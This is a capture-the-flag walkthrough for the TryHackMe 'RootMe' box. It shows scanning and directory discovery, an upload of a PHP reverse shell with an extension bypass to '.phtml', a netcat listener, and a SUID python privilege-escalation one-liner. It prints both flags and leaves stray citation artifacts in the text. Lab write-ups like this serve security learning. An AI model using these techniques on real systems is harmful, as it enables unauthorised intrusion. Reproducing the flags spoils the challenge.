🧠 RootMe Walkthrough – TryHackMe

@Chris Noble

A beginner-friendly box that walks you through web exploitation and privilege escalation.

1. 🕵️ Reconnaissance

- **Scan the target** using `nmap -sC -sV <IP>`
- **Open ports**:
  - **22**: OpenSSH
  - **80**: Apache HTTPD **2.4.29** (medium.com, youtube.com)
- **Discover hidden directory** using GoBuster:

  ```
  gobuster dir -u http://<IP> -w wordlist.txt
  ```

  Found `/panel/` (medium.com)

2. 🧰 Getting a Web Shell

- Visit `http://<IP>/panel/` and upload a *PHP reverse shell* (`php-reverse-shell.phtml`)
- If `.php` is blocked, try renamed extensions like `.phtml`
- Start a listener:

  ```
  nc -lvnp 1234
  ```

- Execute the uploaded shell to get access to the server (medium.com)

3. 🎯 Capture `user.txt`

- Use `find / -type f -name user.txt 2>/dev/null`
- Found and read it:

  ~~~
  THM{y0u_g0t_a_sh3ll}
  ``` :contentReference[oaicite:14]{index=14}
  ~~~

---

4. 🔓 Privilege Escalation to Root

- Search for **SUID binaries**:

  ```
  find / -user root -perm /4000 2>/dev/null
  ```

  Noticed `/usr/bin/python` has the SUID bit (medium.com)

- Use a **known GTFOBins exploit** to escalate privileges:

  ```
  python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
  ```

- Confirm `root` access with `whoami` (medium.com)

---

5. 🔐 Capture `root.txt`

- Locate it similarly:

  ```
  find / -type f -name root.txt 2>/dev/null
  ```

- The flag was:

  ~~~
  THM{pr1v1l3g3_3sc4l4t10n}
  ``` :contentReference[oaicite:23]{index=23}
  ~~~
